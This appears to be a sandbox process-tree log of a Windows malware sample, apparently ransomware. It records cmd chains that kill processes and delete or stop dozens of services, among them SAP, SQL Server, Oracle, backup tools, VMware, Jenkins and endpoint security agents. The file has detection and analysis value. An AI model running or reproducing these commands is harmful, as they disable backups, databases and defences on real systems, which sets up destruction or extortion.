C:\Windows\SysWOW64\cmd.execmd /c "color b & a & @taskkill /IM DDSoftPwsTomcat9.exe /F & @taskkill /IM U8SmartClient.exe /F & @taskkill /IM U8SmartClientMonitor.exe /F & @taskkill /IM tomcat9.exe /F & @taskkill /IM SqlManagement.exe /F & @sc delete "SiebelApplicationContainer_Siebel_Home_d_Siebel_sai" & @taskkill /IM ReportingServicesService.exe /F & @sc delete "ReportServer$SQLEXPRESS" & @sc delete TongBackupSrv & @taskkill /IM TongBackupSrv.exe /F & @taskkill /IM UFMsgCenterService.exe /F & @taskkill /IM "Cobian.exe" /F & @taskkill /IM "SAP Business One.exe" /F & @net stop "SQLBackupAndFTP Client Service" & @taskkill /IM "SqlBak.Service.exe" /F & @net stop cbVSCService & @net stop "SAP Business One RSP Agent Service" & @net stop SAPB1iDIProxy & @net stop "SAPB1iDIProxy_Monitor" & @net stop SAPB1iEventSender & @net stop SBOClientAgent & @net stop SBODI_Server & @net stop SBOJobServiceBackEnd & @net stop SBOMail & @net stop SBOWFDataAccess & @net stop SBOWorkflowEngine"3⤵PID:988
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DDSoftPwsTomcat9.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1896
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM U8SmartClient.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3008
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM U8SmartClientMonitor.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2580
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM tomcat9.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2784
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SqlManagement.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2016
-
-
C:\Windows\SysWOW64\sc.exesc delete "SiebelApplicationContainer_Siebel_Home_d_Siebel_sai"4⤵PID:2476
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ReportingServicesService.exe /F4⤵PID:2568
-
-
C:\Windows\SysWOW64\sc.exesc delete "ReportServer$SQLEXPRESS"4⤵PID:2836
-
-
C:\Windows\SysWOW64\sc.exesc delete TongBackupSrv4⤵PID:688
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TongBackupSrv.exe /F4⤵PID:2924
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM UFMsgCenterService.exe /F4⤵
- Kills process with taskkill
PID:2856
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "Cobian.exe" /F4⤵PID:3020
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "SAP Business One.exe" /F4⤵PID:2952
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLBackupAndFTP Client Service"4⤵PID:1512
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLBackupAndFTP Client Service"5⤵PID:2900
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "SqlBak.Service.exe" /F4⤵PID:2300
-
-
C:\Windows\SysWOW64\net.exenet stop cbVSCService4⤵PID:2016
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop cbVSCService5⤵PID:2320
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SAP Business One RSP Agent Service"4⤵PID:2132
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SAP Business One RSP Agent Service"5⤵PID:340
-
-
-
C:\Windows\SysWOW64\net.exenet stop SAPB1iDIProxy4⤵PID:2232
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SAPB1iDIProxy5⤵PID:2704
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SAPB1iDIProxy_Monitor"4⤵PID:2092
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SAPB1iDIProxy_Monitor"5⤵PID:2460
-
-
-
C:\Windows\SysWOW64\net.exenet stop SAPB1iEventSender4⤵PID:2944
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SAPB1iEventSender5⤵PID:1628
-
-
-
C:\Windows\SysWOW64\net.exenet stop SBOClientAgent4⤵PID:2884
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SBOClientAgent5⤵PID:2076
-
-
-
C:\Windows\SysWOW64\net.exenet stop SBODI_Server4⤵PID:1944
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SBODI_Server5⤵PID:288
-
-
-
C:\Windows\SysWOW64\net.exenet stop SBOJobServiceBackEnd4⤵PID:2352
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SBOJobServiceBackEnd5⤵PID:2920
-
-
-
C:\Windows\SysWOW64\net.exenet stop SBOMail4⤵PID:2460
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SBOMail5⤵PID:632
-
-
-
C:\Windows\SysWOW64\net.exenet stop SBOWFDataAccess4⤵PID:2816
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SBOWFDataAccess5⤵PID:2704
-
-
-
C:\Windows\SysWOW64\net.exenet stop SBOWorkflowEngine4⤵PID:1564
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SBOWorkflowEngine5⤵PID:632
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc delete TCPIDDAService & @sc delete WebAttendServer & @sc delete UIODetect & @sc delete "wanxiao-monitor" & @sc delete VMAuthdService & @sc delete VMUSBArbService & @sc delete VMwareHostd & @sc delete "vm-agent" & @sc delete VmAgentDaemon & @sc delete OpenSSHd & @sc delete eSightService & @sc delete apachezt & @sc delete Jenkins & @sc delete secbizsrv & @sc delete SQLTELEMETRY & @sc delete MSMQ & @sc delete smtpsvrJT & @sc delete zyb_sync & @sc delete 360EntHttpServer & @sc delete 360EntSvc & @sc delete 360EntClientSvc & @sc delete NFWebServer & @sc delete wampapache & @sc delete MSSEARCH & @sc delete msftesql & @sc delete "SyncBASE Service" & @sc delete OracleDBConcoleorcl & @sc delete OracleJobSchedulerORCL & @sc delete OracleMTSRecoveryService"3⤵PID:1908
-
C:\Windows\SysWOW64\sc.exesc delete "DAService_TCP"4⤵PID:1884
-
-
C:\Windows\SysWOW64\sc.exesc delete "eCard-TTransServer"4⤵PID:2132
-
-
C:\Windows\SysWOW64\sc.exesc delete eCardMPService4⤵PID:2364
-
-
C:\Windows\SysWOW64\sc.exesc delete EnergyDataService4⤵PID:2812
-
-
C:\Windows\SysWOW64\sc.exesc delete K3MobileService4⤵PID:3056
-
-
C:\Windows\SysWOW64\sc.exesc delete UI0Detect4⤵PID:2984
-
-
C:\Windows\SysWOW64\sc.exesc delete TCPIDDAService4⤵PID:2556
-
-
C:\Windows\SysWOW64\sc.exesc delete WebAttendServer4⤵PID:3016
-
-
C:\Windows\SysWOW64\sc.exesc delete UIODetect4⤵PID:2512
-
-
C:\Windows\SysWOW64\sc.exesc delete "wanxiao-monitor"4⤵PID:2000
-
-
C:\Windows\SysWOW64\sc.exesc delete VMAuthdService4⤵PID:1628
-
-
C:\Windows\SysWOW64\sc.exesc delete VMUSBArbService4⤵PID:2556
-
-
C:\Windows\SysWOW64\sc.exesc delete VMwareHostd4⤵PID:900
-
-
C:\Windows\SysWOW64\sc.exesc delete "vm-agent"4⤵PID:2228
-
-
C:\Windows\SysWOW64\sc.exesc delete VmAgentDaemon4⤵PID:1656
-
-
C:\Windows\SysWOW64\sc.exesc delete OpenSSHd4⤵PID:2228
-
-
C:\Windows\SysWOW64\sc.exesc delete eSightService4⤵PID:2516
-
-
C:\Windows\SysWOW64\sc.exesc delete apachezt4⤵PID:796
-
-
C:\Windows\SysWOW64\sc.exesc delete Jenkins4⤵PID:2172
-
-
C:\Windows\SysWOW64\sc.exesc delete secbizsrv4⤵PID:2380
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLTELEMETRY4⤵PID:2816
-
-
C:\Windows\SysWOW64\sc.exesc delete MSMQ4⤵PID:2576
-
-
C:\Windows\SysWOW64\sc.exesc delete smtpsvrJT4⤵PID:2876
-
-
C:\Windows\SysWOW64\sc.exesc delete zyb_sync4⤵PID:2008
-
-
C:\Windows\SysWOW64\sc.exesc delete 360EntHttpServer4⤵PID:2128
-
-
C:\Windows\SysWOW64\sc.exesc delete 360EntSvc4⤵PID:2316
-
-
C:\Windows\SysWOW64\sc.exesc delete 360EntClientSvc4⤵PID:2104
-
-
C:\Windows\SysWOW64\sc.exesc delete NFWebServer4⤵PID:340
-
-
C:\Windows\SysWOW64\sc.exesc delete wampapache4⤵PID:632
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSEARCH4⤵PID:1504
-
-
C:\Windows\SysWOW64\sc.exesc delete msftesql4⤵PID:2144
-
-
C:\Windows\SysWOW64\sc.exesc delete "SyncBASE Service"4⤵PID:2836
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleDBConcoleorcl4⤵PID:2788
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleJobSchedulerORCL4⤵PID:2944
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleMTSRecoveryService4⤵PID:1796
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc delete Redis & @sc delete OracleVssWriterORCL & @sc delete JhTask & @sc delete ImeDictUpdateService & @sc delete XT800Service_Personal & @sc delete MCService & @sc delete ImeDictUpdateService & @sc delete allpass_redisservice_port21160 & @sc delete "Flash Helper Service" & @sc delete "Kiwi Syslog Server" & @sc delete "UWS HiPriv Services" & net stop MSSQL$FE_EXPRESS"3⤵PID:576
-
C:\Windows\SysWOW64\sc.exesc delete OracleOraDb11g_home1ClrAgent4⤵PID:2232
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleOraDb11g_home1TNSListener4⤵PID:2880
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleVssWriterORCL4⤵PID:2244
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleServiceORCL4⤵PID:1028
-
-
C:\Windows\SysWOW64\sc.exesc delete aspnet_state @sc delete Redis4⤵PID:900
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleVssWriterORCL4⤵PID:2884
-
-
C:\Windows\SysWOW64\sc.exesc delete JhTask4⤵PID:2324
-
-
C:\Windows\SysWOW64\sc.exesc delete ImeDictUpdateService4⤵PID:2780
-
-
C:\Windows\SysWOW64\sc.exesc delete XT800Service_Personal4⤵PID:1836
-
-
C:\Windows\SysWOW64\sc.exesc delete MCService4⤵PID:540
-
-
C:\Windows\SysWOW64\sc.exesc delete ImeDictUpdateService4⤵PID:2716
-
-
C:\Windows\SysWOW64\sc.exesc delete allpass_redisservice_port211604⤵PID:2608
-
-
C:\Windows\SysWOW64\sc.exesc delete "Flash Helper Service"4⤵PID:688
-
-
C:\Windows\SysWOW64\sc.exesc delete "Kiwi Syslog Server"4⤵PID:1156
-
-
C:\Windows\SysWOW64\sc.exesc delete "UWS HiPriv Services"4⤵PID:1376
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$FE_EXPRESS4⤵PID:2928
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$FE_EXPRESS5⤵PID:668
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @taskkill /IM ReportingServicesService.exe /F & @sc delete "SQL Server Reporting Services" & @sc delete MSSQLFDLauncher & @taskkill /IM U8CEServer.exe /F & @taskkill /IM ServerNT.exe /F & @net stop UFNet & @taskkill /IM MessageNotification.exe /F & @taskkill /IM cbVSCService11.exe /F & @taskkill /IM cbService.exe /F & @sc delete cbVSCService11 & @sc delete CobianBackup11"3⤵PID:1912
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ReportingServicesService.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2428
-
-
C:\Windows\SysWOW64\sc.exesc delete "SQL Server Reporting Services"4⤵PID:2068
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLFDLauncher4⤵PID:2096
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM U8CEServer.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2148
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ServerNT.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2248
-
-
C:\Windows\SysWOW64\net.exenet stop UFNet4⤵PID:2936
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UFNet5⤵PID:2252
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM MessageNotification.exe /F4⤵PID:2140
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM cbVSCService11.exe /F4⤵PID:2768
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM cbService.exe /F4⤵PID:2932
-
-
C:\Windows\SysWOW64\sc.exesc delete cbVSCService114⤵PID:2140
-
-
C:\Windows\SysWOW64\sc.exesc delete CobianBackup114⤵PID:3064
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RTCATS & @sc delete RTCAVMCU & @sc delete RtcQms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDATAMCU & @sc delete RTCCDR & @sc delete ProjectEventService16 & @sc delete ProjectQueueService16 & @sc delete SPAdminV4 & @sc delete SPSearchHostController & @sc delete SPTimerV4 & @sc delete SPTraceV4 & @sc delete OSearch16 & @sc delete ProjectCalcService16 & @sc delete c2wts & @sc delete AppFabricCachingService & @sc delete ADWS & @sc delete MotionBoard57 & @sc delete MotionBoardRCService57 & @sc delete vsvnjobsvc & @sc delete VisualSVNServer & @sc delete "FlexNet Licensing Service 64" & @sc delete BestSyncSvc & @sc delete LPManager & @sc delete MediatekRegistryWriter & @sc delete RaAutoInstSrv_RT2870 & @sc delete CobianBackup10 & @sc delete SQLANYs_sem5 & @sc delete CASLicenceServer & @sc delete SQLService & @sc delete semwebsrv & @sc delete TbossSystem & @sc delete ErpEnvSvc & @sc delete Mysoft.Autoupgrade.DispatchService & @sc delete Mysoft.Autoupgrade.UpdateService & @sc delete Mysoft.Config.WindowsService & @sc delete Mysoft.DataCenterService & @sc delete Mysoft.SchedulingService & @sc delete Mysoft.Setup.InstallService & @sc delete MysoftUpdate & @sc delete edr_monitor & @sc delete abs_deployer & @sc delete savsvc & @sc delete ShareBoxMonitorService & @sc delete ShareBoxService & @sc delete CloudExchangeService & @sc delete "U8WorkerService2" & @sc delete CIS & @sc delete EASService & @sc delete KICkSvr & @sc delete "OSP Service" & @sc delete U8SmsSrv & @sc delete OfficeClearCache & @sc delete TurboCRM70 & @sc delete U8DispatchService & @sc delete U8EISService & @sc delete U8EncryptService & @sc delete U8GCService & @sc delete U8KeyManagePool & @sc delete "U8MPool" & @sc delete U8SCMPool & @sc delete U8SLReportService & @sc delete U8TaskService & @sc delete "U8WebPool" & @sc delete UFAllNet & @sc delete UFReportService & @sc delete UTUService & @sc delete "U8WorkerService1""3⤵PID:1188
-
C:\Windows\SysWOW64\sc.exesc delete MSCRMAsyncService4⤵PID:2456
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCATS4⤵PID:2912
-
-
C:\Windows\SysWOW64\sc.exesc delete RtcQms4⤵PID:1512
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCAVMCU4⤵PID:3064
-
-
C:\Windows\SysWOW64\sc.exesc delete REPLICA4⤵PID:2756
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCMEETINGMCU4⤵PID:2912
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCIMMCU4⤵PID:2300
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCDATAMCU4⤵PID:2796
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCCDR4⤵PID:2984
-
-
C:\Windows\SysWOW64\sc.exesc delete ProjectEventService164⤵PID:1028
-
-
C:\Windows\SysWOW64\sc.exesc delete ProjectQueueService164⤵PID:2136
-
-
C:\Windows\SysWOW64\sc.exesc delete SPAdminV44⤵PID:2704
-
-
C:\Windows\SysWOW64\sc.exesc delete SPSearchHostController4⤵PID:1836
-
-
C:\Windows\SysWOW64\sc.exesc delete SPTimerV44⤵PID:2828
-
-
C:\Windows\SysWOW64\sc.exesc delete SPTraceV44⤵PID:1244
-
-
C:\Windows\SysWOW64\sc.exesc delete OSearch164⤵PID:2884
-
-
C:\Windows\SysWOW64\sc.exesc delete ProjectCalcService164⤵PID:2788
-
-
C:\Windows\SysWOW64\sc.exesc delete c2wts4⤵PID:2000
-
-
C:\Windows\SysWOW64\sc.exesc delete AppFabricCachingService4⤵PID:428
-
-
C:\Windows\SysWOW64\sc.exesc delete ADWS4⤵PID:2300
-
-
C:\Windows\SysWOW64\sc.exesc delete MotionBoard574⤵PID:2780
-
-
C:\Windows\SysWOW64\sc.exesc delete MotionBoardRCService574⤵PID:2092
-
-
C:\Windows\SysWOW64\sc.exesc delete vsvnjobsvc4⤵PID:2796
-
-
C:\Windows\SysWOW64\sc.exesc delete VisualSVNServer4⤵PID:2000
-
-
C:\Windows\SysWOW64\sc.exesc delete "FlexNet Licensing Service 64"4⤵PID:2800
-
-
C:\Windows\SysWOW64\sc.exesc delete BestSyncSvc4⤵PID:2080
-
-
C:\Windows\SysWOW64\sc.exesc delete LPManager4⤵PID:2940
-
-
C:\Windows\SysWOW64\sc.exesc delete MediatekRegistryWriter4⤵PID:2244
-
-
C:\Windows\SysWOW64\sc.exesc delete RaAutoInstSrv_RT28704⤵PID:2768
-
-
C:\Windows\SysWOW64\sc.exesc delete CobianBackup104⤵PID:2292
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLANYs_sem54⤵PID:2804
-
-
C:\Windows\SysWOW64\sc.exesc delete CASLicenceServer4⤵PID:2512
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLService4⤵PID:1900
-
-
C:\Windows\SysWOW64\sc.exesc delete semwebsrv4⤵PID:1912
-
-
C:\Windows\SysWOW64\sc.exesc delete TbossSystem4⤵PID:1660
-
-
C:\Windows\SysWOW64\sc.exesc delete ErpEnvSvc4⤵PID:2900
-
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Autoupgrade.DispatchService4⤵PID:2364
-
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Autoupgrade.UpdateService4⤵PID:1712
-
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Config.WindowsService4⤵PID:2140
-
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.DataCenterService4⤵PID:2488
-
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.SchedulingService4⤵PID:2864
-
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Setup.InstallService4⤵PID:2000
-
-
C:\Windows\SysWOW64\sc.exesc delete MysoftUpdate4⤵PID:2608
-
-
C:\Windows\SysWOW64\sc.exesc delete edr_monitor4⤵PID:2228
-
-
C:\Windows\SysWOW64\sc.exesc delete abs_deployer4⤵PID:2320
-
-
C:\Windows\SysWOW64\sc.exesc delete savsvc4⤵PID:2140
-
-
C:\Windows\SysWOW64\sc.exesc delete ShareBoxMonitorService4⤵PID:1512
-
-
C:\Windows\SysWOW64\sc.exesc delete ShareBoxService4⤵PID:2792
-
-
C:\Windows\SysWOW64\sc.exesc delete CloudExchangeService4⤵PID:1688
-
-
C:\Windows\SysWOW64\sc.exesc delete "U8WorkerService2"4⤵PID:2316
-
-
C:\Windows\SysWOW64\sc.exesc delete CIS4⤵PID:796
-
-
C:\Windows\SysWOW64\sc.exesc delete EASService4⤵PID:2780
-
-
C:\Windows\SysWOW64\sc.exesc delete KICkSvr4⤵PID:2472
-
-
C:\Windows\SysWOW64\sc.exesc delete "OSP Service"4⤵PID:2804
-
-
C:\Windows\SysWOW64\sc.exesc delete U8SmsSrv4⤵PID:2120
-
-
C:\Windows\SysWOW64\sc.exesc delete OfficeClearCache4⤵PID:1468
-
-
C:\Windows\SysWOW64\sc.exesc delete TurboCRM704⤵PID:2232
-
-
C:\Windows\SysWOW64\sc.exesc delete U8DispatchService4⤵PID:2940
-
-
C:\Windows\SysWOW64\sc.exesc delete U8EISService4⤵PID:2796
-
-
C:\Windows\SysWOW64\sc.exesc delete U8GCService4⤵PID:1992
-
-
C:\Windows\SysWOW64\sc.exesc delete U8EncryptService4⤵PID:1244
-
-
C:\Windows\SysWOW64\sc.exesc delete U8KeyManagePool4⤵PID:340
-
-
C:\Windows\SysWOW64\sc.exesc delete "U8MPool"4⤵PID:2388
-
-
C:\Windows\SysWOW64\sc.exesc delete U8SCMPool4⤵PID:1712
-
-
C:\Windows\SysWOW64\sc.exesc delete U8SLReportService4⤵PID:1688
-
-
C:\Windows\SysWOW64\sc.exesc delete U8TaskService4⤵PID:2804
-
-
C:\Windows\SysWOW64\sc.exesc delete "U8WebPool"4⤵PID:2768
-
-
C:\Windows\SysWOW64\sc.exesc delete UFAllNet4⤵PID:2936
-
-
C:\Windows\SysWOW64\sc.exesc delete UFReportService4⤵PID:1956
-
-
C:\Windows\SysWOW64\sc.exesc delete UTUService4⤵PID:1468
-
-
C:\Windows\SysWOW64\sc.exesc delete "U8WorkerService1"4⤵PID:276
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusbrdsrv & @sc delete "ZTE USBIP Client Guard" & @sc delete "ZTE USBIP Client" & @sc delete "ZTE FileTranS" & @sc delete wwbizsrv & @sc delete qemu-ga & @sc delete AlibabaProtect & @sc delete ZTEVdservice & @sc delete kbasesrv & @sc delete MMRHookService & @sc delete OracleJobSchedulerORCL & @sc delete IpOverUsbSvc & @sc delete MsDtsServer100 & @sc delete KuaiYunTools & @sc delete KMSELDI & @sc delete btPanel & @sc delete Protect_2345Explorer & @sc delete 2345PicSvc & @sc delete vmware-converter-agent & @sc delete vmware-converter-server & @sc delete vmware-converter-worker & @sc delete QQCertificateService & @sc delete OracleRemExecService & @sc delete GPSDaemon & @sc delete GPSUserSvr & @sc delete GPSDownSvr & @sc delete GPSStorageSvr & @sc delete GPSDataProcSvr & @sc delete GPSGatewaySvr & @sc delete GPSMediaSvr & @sc delete GPSLoginSvr & @sc delete GPSTomcat6 & @sc delete GPSMysqld & @sc delete GPSFtpd & @sc delete "Zabbix Agent" & @sc delete BackupExecAgentAccelerator & @sc delete bedbg & @sc delete BackupExecDeviceMediaService & @sc delete BackupExecRPCService & @sc delete BackupExecAgentBrowser & @sc delete BackupExecJobEngine & @sc delete BackupExecManagementService & @sc delete MDM & @sc delete TxQBService & @sc delete Gailun_Downloader & @sc delete RemoteAssistService & @sc delete YunService & @sc delete Serv-U & @sc delete "EasyFZS Server" & @sc delete "Rpc Monitor" & @sc delete OpenFastAssist & @sc delete "Nuo Update Monitor" & @sc delete "Daemon Service" & @sc delete asComSvc & @sc delete OfficeUpdateService & @sc delete RtcSrv & @sc delete RTCASMCU & @sc delete FTA & @sc delete MASTER & @sc delete NscAuthService & @sc delete MSCRMUnzipService & @sc delete MSCRMAsyncService$maintenance"3⤵PID:1572
-
C:\Windows\SysWOW64\sc.exesc delete "UWS LoPriv Services"4⤵PID:2152
-
-
C:\Windows\SysWOW64\sc.exesc delete ftnlsv34⤵PID:2344
-
-
C:\Windows\SysWOW64\sc.exesc delete ftnlses34⤵PID:2504
-
-
C:\Windows\SysWOW64\sc.exesc delete ftusbrdwks4⤵PID:752
-
-
C:\Windows\SysWOW64\sc.exesc delete "UtilDev Web Server Pro"4⤵PID:2976
-
-
C:\Windows\SysWOW64\sc.exesc delete FxService4⤵PID:2780
-
-
C:\Windows\SysWOW64\sc.exesc delete ftusbrdsrv4⤵PID:2140
-
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE USBIP Client Guard"4⤵PID:1692
-
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE USBIP Client"4⤵PID:2472
-
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE FileTranS"4⤵PID:1104
-
-
C:\Windows\SysWOW64\sc.exesc delete wwbizsrv4⤵PID:1152
-
-
C:\Windows\SysWOW64\sc.exesc delete qemu-ga4⤵PID:2440
-
-
C:\Windows\SysWOW64\sc.exesc delete AlibabaProtect4⤵PID:2996
-
-
C:\Windows\SysWOW64\sc.exesc delete ZTEVdservice4⤵PID:2944
-
-
C:\Windows\SysWOW64\sc.exesc delete kbasesrv4⤵PID:2164
-
-
C:\Windows\SysWOW64\sc.exesc delete MMRHookService4⤵PID:1376
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleJobSchedulerORCL4⤵PID:2480
-
-
C:\Windows\SysWOW64\sc.exesc delete IpOverUsbSvc4⤵PID:520
-
-
C:\Windows\SysWOW64\sc.exesc delete MsDtsServer1004⤵PID:1712
-
-
C:\Windows\SysWOW64\sc.exesc delete KuaiYunTools4⤵PID:1896
-
-
C:\Windows\SysWOW64\sc.exesc delete KMSELDI4⤵PID:2304
-
-
C:\Windows\SysWOW64\sc.exesc delete btPanel4⤵PID:2092
-
-
C:\Windows\SysWOW64\sc.exesc delete Protect_2345Explorer4⤵PID:3000
-
-
C:\Windows\SysWOW64\sc.exesc delete 2345PicSvc4⤵PID:2764
-
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-agent4⤵PID:2984
-
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-server4⤵PID:2484
-
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-worker4⤵PID:2796
-
-
C:\Windows\SysWOW64\sc.exesc delete QQCertificateService4⤵PID:2792
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleRemExecService4⤵PID:3008
-
-
-